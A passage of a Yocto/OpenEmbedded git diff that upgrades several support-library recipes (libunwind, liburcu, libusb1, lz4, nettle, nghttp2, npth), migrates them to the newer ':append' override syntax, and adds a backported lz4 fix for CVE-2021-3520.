-LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-SECURITY_LDFLAGS_append_libc-musl = " -lssp_nonshared"
diff --git a/meta/recipes-support/libunwind/libunwind_1.6.2.bb b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
new file mode 100644
index 0000000000..716be9a452
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
@@ -0,0 +1,24 @@
+require libunwind.inc
+
+SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
+ file://0003-x86-Stub-out-x86_local_resume.patch \
+ file://0004-Fix-build-on-mips-musl.patch \
+ file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
+ file://0006-Fix-for-X32.patch \
+ "
+SRC_URI:append:libc-musl = " file://musl-header-conflict.patch"
+
+SRC_URI[sha256sum] = "4a6aec666991fb45d0889c44aede8ad6eb108071c3554fcdff671f9c94794976"
+
+EXTRA_OECONF:append:libc-musl = " --disable-documentation --disable-tests --enable-static"
+
+# http://errors.yoctoproject.org/Errors/Details/20487/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+COMPATIBLE_HOST:riscv32 = "null"
+
+LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+
+SECURITY_LDFLAGS:append:libc-musl = " -lssp_nonshared"
+CACHED_CONFIGUREVARS:append:libc-musl = " LDFLAGS='${LDFLAGS} -lucontext'"
diff --git a/meta/recipes-support/liburcu/liburcu_0.12.1.bb b/meta/recipes-support/liburcu/liburcu_0.12.1.bb
deleted file mode 100644
index 3a5ecbcc2d..0000000000
--- a/meta/recipes-support/liburcu/liburcu_0.12.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Userspace RCU (read-copy-update) library"
-HOMEPAGE = "http://lttng.org/urcu"
-BUGTRACKER = "http://lttng.org/project/issues"
-
-LICENSE = "LGPLv2.1+ & MIT-style"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
- file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
- file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
-
-SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
-
-SRC_URI[md5sum] = "5e419d7b30d0d98bffe0014c704ae936"
-SRC_URI[sha256sum] = "bbfaead0345642b97e0de90f889dfbab4b2643a6a5e5c6bb59cd0d26fc0bcd0e"
-
-S = "${WORKDIR}/userspace-rcu-${PV}"
-inherit autotools multilib_header
-
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
-
-do_install_append() {
- oe_multilib_header urcu/config.h
-}
diff --git a/meta/recipes-support/liburcu/liburcu_0.13.0.bb b/meta/recipes-support/liburcu/liburcu_0.13.0.bb
new file mode 100644
index 0000000000..aba8d070ed
--- /dev/null
+++ b/meta/recipes-support/liburcu/liburcu_0.13.0.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Userspace RCU (read-copy-update) library"
+DESCRIPTION = "A userspace RCU (read-copy-update) library. This data \
+synchronization library provides read-side access which scales linearly \
+with the number of cores. "
+HOMEPAGE = "http://lttng.org/urcu"
+BUGTRACKER = "http://lttng.org/project/issues"
+
+LICENSE = "LGPLv2.1+ & MIT-style"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
+ file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
+ file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
+
+SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
+
+SRC_URI[md5sum] = "8cb75dbb05774c03e66c63cb3186dd59"
+SRC_URI[sha256sum] = "cbb20dbe1a892c2a4d8898bac4316176e585392693d498766ccbbc68cf20ba20"
+
+S = "${WORKDIR}/userspace-rcu-${PV}"
+inherit autotools multilib_header
+
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
+
+do_install:append() {
+ oe_multilib_header urcu/config.h
+}
diff --git a/meta/recipes-support/libusb/libusb1_1.0.23.bb b/meta/recipes-support/libusb/libusb1_1.0.23.bb
deleted file mode 100644
index 2fd658b4ef..0000000000
--- a/meta/recipes-support/libusb/libusb1_1.0.23.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Userspace library to access USB (version 1.0)"
-HOMEPAGE = "http://libusb.sf.net"
-BUGTRACKER = "http://www.libusb.org/report"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/libusb/libusb-${PV}.tar.bz2 \
- file://run-ptest \
- "
-
-SRC_URI[md5sum] = "be79ed4a4a440169deec8beaac6aae33"
-SRC_URI[sha256sum] = "4fc17b2ef3502757641bf8fe2c14ad86ec86302a2b785abcb0806fd03aa1201f"
-
-S = "${WORKDIR}/libusb-${PV}"
-
-inherit autotools pkgconfig ptest
-
-PACKAGECONFIG_class-target ??= "udev"
-PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
-
-EXTRA_OECONF = "--libdir=${base_libdir}"
-
-do_install_append() {
- install -d ${D}${libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-}
-
-do_compile_ptest() {
- oe_runmake -C tests stress
-}
-
-do_install_ptest() {
- install -m 755 ${B}/tests/.libs/stress ${D}${PTEST_PATH}
-}
-
-FILES_${PN} += "${base_libdir}/*.so.*"
-
-FILES_${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libusb/libusb1_1.0.24.bb b/meta/recipes-support/libusb/libusb1_1.0.24.bb
new file mode 100644
index 0000000000..95a20958a1
--- /dev/null
+++ b/meta/recipes-support/libusb/libusb1_1.0.24.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Userspace library to access USB (version 1.0)"
+DESCRIPTION = "A cross-platform library to access USB devices from Linux, \
+macOS, Windows, OpenBSD/NetBSD, Haiku and Solaris userspace."
+HOMEPAGE = "http://libusb.sf.net"
+BUGTRACKER = "http://www.libusb.org/report"
+SECTION = "libs"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/libusb/libusb-${PV}.tar.bz2 \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "7efd2685f7b327326dcfb85cee426d9b871fd70e22caa15bb68d595ce2a2b12a"
+
+S = "${WORKDIR}/libusb-${PV}"
+
+inherit autotools pkgconfig ptest
+
+PACKAGECONFIG:class-target ??= "udev"
+PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+do_install:append() {
+ install -d ${D}${libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+}
+
+do_compile_ptest() {
+ oe_runmake -C tests stress
+}
+
+do_install_ptest() {
+ install -m 755 ${B}/tests/.libs/stress ${D}${PTEST_PATH}
+}
+
+FILES:${PN} += "${base_libdir}/*.so.*"
+
+FILES:${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libxslt/libxslt_1.1.34.bb b/meta/recipes-support/libxslt/libxslt_1.1.34.bb
index 1961bb5b31..c888f3d7e1 100644
--- a/meta/recipes-support/libxslt/libxslt_1.1.34.bb
+++ b/meta/recipes-support/libxslt/libxslt_1.1.34.bb
@@ -1,4 +1,9 @@
SUMMARY = "GNOME XSLT library"
+DESCRIPTION = "libxslt is the XSLT C parser and toolkit developed for the Gnome project. \
+XSLT itself is a an XML language to define transformation for XML. Libxslt is based on \
+libxml2 the XML C library developed for the GNOME project. It also implements most of \
+the EXSLT set of processor-portable extensions functions and some of Saxon's evaluate \
+and expressions extensions."
HOMEPAGE = "http://xmlsoft.org/XSLT/"
BUGTRACKER = "https://bugzilla.gnome.org/"
@@ -22,7 +27,7 @@ BINCONFIG = "${bindir}/xslt-config"
inherit autotools pkgconfig binconfig-disabled lib_package multilib_header
-do_configure_prepend () {
+do_configure:prepend () {
# We don't DEPEND on binutils for ansidecl.h so ensure we don't use the header.
# This can be removed when upgrading to 1.1.34.
sed -i -e 's/ansidecl.h//' ${S}/configure.ac
@@ -34,20 +39,20 @@ do_configure_prepend () {
EXTRA_OECONF = "--without-python --without-debug --without-mem-debug --without-crypto --with-html-subdir=${BPN}"
# older versions of this recipe had ${PN}-utils
-RPROVIDES_${PN}-bin += "${PN}-utils"
-RCONFLICTS_${PN}-bin += "${PN}-utils"
-RREPLACES_${PN}-bin += "${PN}-utils"
+RPROVIDES:${PN}-bin += "${PN}-utils"
+RCONFLICTS:${PN}-bin += "${PN}-utils"
+RREPLACES:${PN}-bin += "${PN}-utils"
# This is only needed until libxml can load the relocated catalog itself
-do_install_append_class-native () {
+do_install:append:class-native () {
create_wrapper ${D}/${bindir}/xsltproc XML_CATALOG_FILES=${sysconfdir}/xml/catalog
}
-do_install_append () {
+do_install:append () {
oe_multilib_header libxslt/xsltconfig.h
}
-FILES_${PN} += "${libdir}/libxslt-plugins"
-FILES_${PN}-dev += "${libdir}/xsltConf.sh"
+FILES:${PN} += "${libdir}/libxslt-plugins"
+FILES:${PN}-dev += "${libdir}/xsltConf.sh"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libyaml/libyaml_0.2.5.bb b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
index e39a7b9083..4cb5717ece 100644
--- a/meta/recipes-support/libyaml/libyaml_0.2.5.bb
+++ b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
@@ -15,4 +15,7 @@ S = "${WORKDIR}/yaml-${PV}"
inherit autotools
+DISABLE_STATIC:class-nativesdk = ""
+DISABLE_STATIC:class-native = ""
+
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/files/CVE-2021-3520.patch b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
new file mode 100644
index 0000000000..5ac8f6691f
--- /dev/null
+++ b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
@@ -0,0 +1,27 @@
+From 8301a21773ef61656225e264f4f06ae14462bca7 Mon Sep 17 00:00:00 2001
+From: Jasper Lievisse Adriaanse <j@jasper.la>
+Date: Fri, 26 Feb 2021 15:21:20 +0100
+Subject: [PATCH] Fix potential memory corruption with negative memmove() size
+
+Upstream-Status: Backport
+https://github.com/lz4/lz4/commit/8301a21773ef61656225e264f4f06ae14462bca7#diff-7055e9cf14c488aea9837aaf9f528b58ee3c22988d7d0d81d172ec62d94a88a7
+CVE: CVE-2021-3520
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ lib/lz4.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: git/lib/lz4.c
+===================================================================
+--- git.orig/lib/lz4.c
++++ git/lib/lz4.c
+@@ -1665,7 +1665,7 @@ LZ4_decompress_generic(
+ const size_t dictSize /* note : = 0 if noDict */
+ )
+ {
+- if (src == NULL) { return -1; }
++ if ((src == NULL) || (outputSize < 0)) { return -1; }
+
+ { const BYTE* ip = (const BYTE*) src;
+ const BYTE* const iend = ip + srcSize;
diff --git a/meta/recipes-support/lz4/files/run-ptest b/meta/recipes-support/lz4/files/run-ptest
deleted file mode 100644
index d3bfc49f1c..0000000000
--- a/meta/recipes-support/lz4/files/run-ptest
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/sh
-cd testsuite
-
-echo -n "---- test-lz4 ----"
-make -C tests test-lz4 > /dev/null 2>&1
-
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fasttest ----"
-make -C tests test-fasttest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-frametest ----"
-make -C tests test-frametest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fullbench ----"
-make -C tests test-fullbench > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fuzzer ----"
-make -C tests test-fuzzer > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
diff --git a/meta/recipes-support/lz4/lz4_1.9.2.bb b/meta/recipes-support/lz4/lz4_1.9.2.bb
deleted file mode 100644
index 6510156ed0..0000000000
--- a/meta/recipes-support/lz4/lz4_1.9.2.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Extremely Fast Compression algorithm"
-DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
-
-LICENSE = "BSD | BSD-2-Clause | GPL-2.0"
-LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=ebc2ea4814a64de7708f1571904b32cc \
- file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE;md5=d57c0d21cb917fb4e0af2454aa48b956 \
- "
-
-PE = "1"
-
-SRCREV = "fdf2ef5809ca875c454510610764d9125ef2ebbd"
-
-SRC_URI = "git://github.com/lz4/lz4.git \
- file://run-ptest \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
-
-S = "${WORKDIR}/git"
-
-# Fixed in r118, which is larger than the current version.
-CVE_CHECK_WHITELIST += "CVE-2014-4715"
-
-EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir} BUILD_STATIC=no"
-
-do_install() {
- oe_runmake install
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/lz4_1.9.3.bb b/meta/recipes-support/lz4/lz4_1.9.3.bb
new file mode 100644
index 0000000000..a3c48bccfb
--- /dev/null
+++ b/meta/recipes-support/lz4/lz4_1.9.3.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Extremely Fast Compression algorithm"
+DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
+HOMEPAGE = "https://github.com/lz4/lz4"
+
+LICENSE = "BSD-2-Clause | GPL-2.0"
+LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=ebc2ea4814a64de7708f1571904b32cc \
+ file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE;md5=d57c0d21cb917fb4e0af2454aa48b956 \
+ "
+
+PE = "1"
+
+SRCREV = "d44371841a2f1728a3f36839fd4b7e872d0927d3"
+
+SRC_URI = "git://github.com/lz4/lz4.git;branch=release;protocol=https \
+ file://CVE-2021-3520.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>.*)"
+
+S = "${WORKDIR}/git"
+
+# Fixed in r118, which is larger than the current version.
+CVE_CHECK_WHITELIST += "CVE-2014-4715"
+
+EXTRA_OEMAKE = "PREFIX=${prefix} CC='${CC}' CFLAGS='${CFLAGS}' DESTDIR=${D} LIBDIR=${libdir} INCLUDEDIR=${includedir} BUILD_STATIC=no"
+
+do_install() {
+ oe_runmake install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lzo/lzo_2.10.bb b/meta/recipes-support/lzo/lzo_2.10.bb
index 8eefec3cc9..f0c8631aea 100644
--- a/meta/recipes-support/lzo/lzo_2.10.bb
+++ b/meta/recipes-support/lzo/lzo_2.10.bb
@@ -1,4 +1,6 @@
SUMMARY = "Lossless data compression library"
+DESCRIPTION = "A portable lossless data compression library written in \
+ANSI C that offers pretty fast compression and *extremely* fast decompression. "
HOMEPAGE = "http://www.oberhumer.com/opensource/lzo/"
SECTION = "libs"
LICENSE = "GPLv2+"
@@ -16,6 +18,8 @@ SRC_URI[sha256sum] = "c0f892943208266f9b6543b3ae308fab6284c5c90e627931446fb49b42
inherit autotools ptest
+CVE_PRODUCT = "lzo oberhumer:lzo2"
+
EXTRA_OECONF = "--enable-shared"
do_install_ptest() {
diff --git a/meta/recipes-support/lzop/lzop_1.04.bb b/meta/recipes-support/lzop/lzop_1.04.bb
index b50c230437..8ac7efbbfd 100644
--- a/meta/recipes-support/lzop/lzop_1.04.bb
+++ b/meta/recipes-support/lzop/lzop_1.04.bb
@@ -5,6 +5,7 @@ gzip are much higher compression and decompression speed at the cost of some \n\
compression ratio. The lzop compression utility was designed with the goals \n\
of reliability, speed, portability and with reasonable drop-in compatibility \n\
to gzip."
+HOMEPAGE = "http://www.lzop.org/"
DEPENDS += "lzo"
LICENSE = "GPLv2+"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "7e72b62a8a60aff5200a047eea0773a8fb205caf7acbe1774d95147f30
inherit autotools
-do_configure_prepend () {
+do_configure:prepend () {
install -Dm 0644 ${WORKDIR}/acinclude.m4 ${S}/acinclude.m4
}
diff --git a/meta/recipes-support/mpfr/mpfr_4.1.0.bb b/meta/recipes-support/mpfr/mpfr_4.1.0.bb
index 82b5516f26..41897e9376 100644
--- a/meta/recipes-support/mpfr/mpfr_4.1.0.bb
+++ b/meta/recipes-support/mpfr/mpfr_4.1.0.bb
@@ -1,4 +1,5 @@
SUMMARY = "C library for multiple-precision floating-point computations with exact rounding"
+DESCRIPTION = "The GNU Multiple Precision Floating-Point Reliable Library (GNU MPFR) is a GNU portable C library for arbitrary-precision binary floating-point computation with correct rounding, based on GNU Multi-Precision Library. MPFR's computation is both efficient and has a well-defined semantics: the functions are completely specified on all the possible operands and the results do not depend on the platform."
HOMEPAGE = "https://www.mpfr.org/"
LICENSE = "LGPLv3+"
SECTION = "devel"
diff --git a/meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
index e3f5c6de7d..e3f5c6de7d 100644
--- a/meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch
+++ b/meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch
diff --git a/meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
index d5f266681e..d5f266681e 100644
--- a/meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch
+++ b/meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch
diff --git a/meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch b/meta/recipes-support/nettle/nettle/dlopen-test.patch
index ab9b91f88b..ab9b91f88b 100644
--- a/meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch
+++ b/meta/recipes-support/nettle/nettle/dlopen-test.patch
diff --git a/meta/recipes-support/nettle/nettle-3.6/run-ptest b/meta/recipes-support/nettle/nettle/run-ptest
index b90bed66d2..b90bed66d2 100644
--- a/meta/recipes-support/nettle/nettle-3.6/run-ptest
+++ b/meta/recipes-support/nettle/nettle/run-ptest
diff --git a/meta/recipes-support/nettle/nettle_3.6.bb b/meta/recipes-support/nettle/nettle_3.6.bb
deleted file mode 100644
index 90f8625ae5..0000000000
--- a/meta/recipes-support/nettle/nettle_3.6.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "A low level cryptographic library"
-HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
-SECTION = "libs"
-LICENSE = "LGPLv3+ | GPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
- file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
-
-DEPENDS += "gmp"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
- file://Add-target-to-only-build-tests-not-run-them.patch \
- file://run-ptest \
- file://check-header-files-of-openssl-only-if-enable_.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://dlopen-test.patch \
- "
-
-SRC_URI[md5sum] = "c45ee24ed7361dcda152a035d396fe8a"
-SRC_URI[sha256sum] = "d24c0d0f2abffbc8f4f34dcf114b0f131ec3774895f3555922fe2f40f3d5e3f1"
-
-UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools ptest multilib_header
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-EXTRA_OECONF = "--disable-openssl"
-
-do_compile_ptest() {
- oe_runmake buildtest
-}
-
-do_install_append() {
- oe_multilib_header nettle/version.h
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
- install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
- # tools can be found in PATH, not in ../tools/
- sed -i -e 's|../tools/||' ${D}${PTEST_PATH}/testsuite/*-test
- install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
-}
-
-RDEPENDS_${PN}-ptest += "${PN}-dev"
-INSANE_SKIP_${PN}-ptest += "dev-deps"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nettle/nettle_3.7.3.bb b/meta/recipes-support/nettle/nettle_3.7.3.bb
new file mode 100644
index 0000000000..877f5f169f
--- /dev/null
+++ b/meta/recipes-support/nettle/nettle_3.7.3.bb
@@ -0,0 +1,57 @@
+SUMMARY = "A low level cryptographic library"
+DESCRIPTION = "Nettle is a cryptographic library that is designed to fit easily in more or less any context: In crypto toolkits for object-oriented languages (C++, Python, Pike, ...), in applications like LSH or GNUPG, or even in kernel space."
+HOMEPAGE = "http://www.lysator.liu.se/~nisse/nettle/"
+DESCRIPTION = "It tries to solve a problem of providing a common set of \
+cryptographic algorithms for higher-level applications by implementing a \
+context-independent set of cryptographic algorithms"
+SECTION = "libs"
+LICENSE = "LGPLv3+ | GPLv2+"
+
+LIC_FILES_CHKSUM = "file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://serpent-decrypt.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e \
+ file://serpent-set-key.c;beginline=14;endline=36;md5=ca0d220bc413e1842ecc507690ce416e"
+
+DEPENDS += "gmp"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://Add-target-to-only-build-tests-not-run-them.patch \
+ file://run-ptest \
+ file://check-header-files-of-openssl-only-if-enable_.patch \
+ "
+
+SRC_URI:append:class-target = "\
+ file://dlopen-test.patch \
+ "
+
+SRC_URI[sha256sum] = "661f5eb03f048a3b924c3a8ad2515d4068e40f67e774e8a26827658007e3bcf0"
+
+UPSTREAM_CHECK_REGEX = "nettle-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools ptest multilib_header
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-openssl"
+
+do_compile_ptest() {
+ oe_runmake buildtest
+}
+
+do_install:append() {
+ oe_multilib_header nettle/version.h
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/gold-bug.txt ${D}${PTEST_PATH}/testsuite/
+ install ${S}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+ # tools can be found in PATH, not in ../tools/
+ sed -i -e 's|../tools/||' ${D}${PTEST_PATH}/testsuite/*-test
+ install ${B}/testsuite/*-test ${D}${PTEST_PATH}/testsuite/
+}
+
+RDEPENDS:${PN}-ptest += "${PN}-dev"
+INSANE_SKIP:${PN}-ptest += "dev-deps"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch b/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch
new file mode 100644
index 0000000000..e4db09638f
--- /dev/null
+++ b/meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch
@@ -0,0 +1,27 @@
+From 73ec79432fc557a8be4f1500982b1c0f5fdf12a9 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <andre.draszik@jci.com>
+Date: Thu, 7 Nov 2019 09:58:52 +0000
+Subject: [PATCH] fetch-ocsp-response: use python3
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: André Draszik <git@andred.net>
+---
+ script/fetch-ocsp-response | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/script/fetch-ocsp-response b/script/fetch-ocsp-response
+index 0ff7461..185116b 100755
+--- a/script/fetch-ocsp-response
++++ b/script/fetch-ocsp-response
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ # nghttp2 - HTTP/2 C Library
+--
+2.23.0.rc1
+
diff --git a/meta/recipes-support/nghttp2/nghttp2_1.46.0.bb b/meta/recipes-support/nghttp2/nghttp2_1.46.0.bb
new file mode 100644
index 0000000000..972ff2d60a
--- /dev/null
+++ b/meta/recipes-support/nghttp2/nghttp2_1.46.0.bb
@@ -0,0 +1,35 @@
+SUMMARY = "HTTP/2 C Library and tools"
+HOMEPAGE = "https://nghttp2.org/"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=764abdf30b2eadd37ce47dcbce0ea1ec"
+
+UPSTREAM_CHECK_URI = "https://github.com/nghttp2/nghttp2/releases"
+
+SRC_URI = "\
+ https://github.com/nghttp2/nghttp2/releases/download/v${PV}/nghttp2-${PV}.tar.xz \
+ file://0001-fetch-ocsp-response-use-python3.patch \
+"
+SRC_URI[sha256sum] = "1a68cc4a5732afb735baf50aaac3cb3a6771e49f744bd5db6c49ab5042f12a43"
+
+inherit cmake manpages python3native
+PACKAGECONFIG[manpages] = ""
+
+# examples are never installed, and don't need to be built in the
+# first place
+EXTRA_OECMAKE = "-DENABLE_EXAMPLES=OFF -DENABLE_APP=OFF -DENABLE_HPACK_TOOLS=OFF"
+
+PACKAGES =+ "lib${PN} ${PN}-client ${PN}-proxy ${PN}-server"
+
+RDEPENDS:${PN} = "${PN}-client (>= ${PV}) ${PN}-proxy (>= ${PV}) ${PN}-server (>= ${PV})"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}-proxy = "openssl python3-core python3-io python3-shell"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:lib${PN} = "${libdir}/*${SOLIBS}"
+FILES:${PN}-client = "${bindir}/h2load ${bindir}/nghttp"
+FILES:${PN}-proxy = "${bindir}/nghttpx ${datadir}/${BPN}/fetch-ocsp-response"
+FILES:${PN}-server = "${bindir}/nghttpd"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch b/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch
new file mode 100644
index 0000000000..47c426b4a5
--- /dev/null
+++ b/meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch
@@ -0,0 +1,43 @@
+From e43524868bb4901703d63876f9d49f73ca75b3ab Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 12 May 2021 20:27:52 -0700
+Subject: [PATCH] Revert "Fix problem with regression tests on recent glibc."
+
+This reverts commit 3a9d32eb59194b989656548755066ccd9feb36ac.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.ac | 8 +++-----
+ 1 file changed, 3 insertions(+), 5 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 8a9373c..8cda28d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -284,11 +284,9 @@ AC_TYPE_SSIZE_T
+ #
+ # Checks for libraries and functions.
+ #
+-# We test for pthread_detach because glibc 2.22 includes
+-# pthread_create but not pthread_detach.
+ if test "$have_w32_system" = no; then
+- AC_SEARCH_LIBS([pthread_detach],[pthread])
+- case "x$ac_cv_search_pthread_detach" in
++ AC_SEARCH_LIBS([pthread_create],[pthread])
